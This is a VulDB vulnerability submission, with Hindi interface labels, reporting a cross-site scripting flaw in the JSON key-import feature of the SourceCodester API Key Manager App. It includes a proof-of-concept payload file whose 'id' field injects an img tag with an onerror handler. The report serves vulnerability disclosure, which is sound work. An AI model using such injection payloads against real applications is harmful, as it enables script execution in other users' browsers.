| शीर्षक | SourceCodester API Key Manager App Using HTML, CSS and JavaScript with Source Code 0 Basic Cross Site Scripting |
|---|
| विवरण | The application is vulnerable as its not sanitizing the "id":"VULNERABLE", JSON parameters, when imported with a payload JSON file, the XSS is triggered on the front-end.
PAYLOAD is provided as below.
[
{
"id": "\"><img src=x onerror=prompt(1);><span data-id=\"",
"name": "XSS Test Key",
"key": "test_key_123",
"category": "other",
"tags": [],
"notes": "",
"created": "2026-01-03T23:25:48.130164Z",
"lastUsed": null,
"strength": "Weak"
}
] |
|---|
| उपयोगकर्ता | Kamran Saifullah (UID 4218) |
|---|
| सबमिशन | 04/01/2026 03:16 PM (9 महीनों पहले) |
|---|
| संयम | 04/01/2026 07:07 PM (4 hours later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 339472 [SourceCodester API Key Manager App 1.0 Import Key क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 0 |
|---|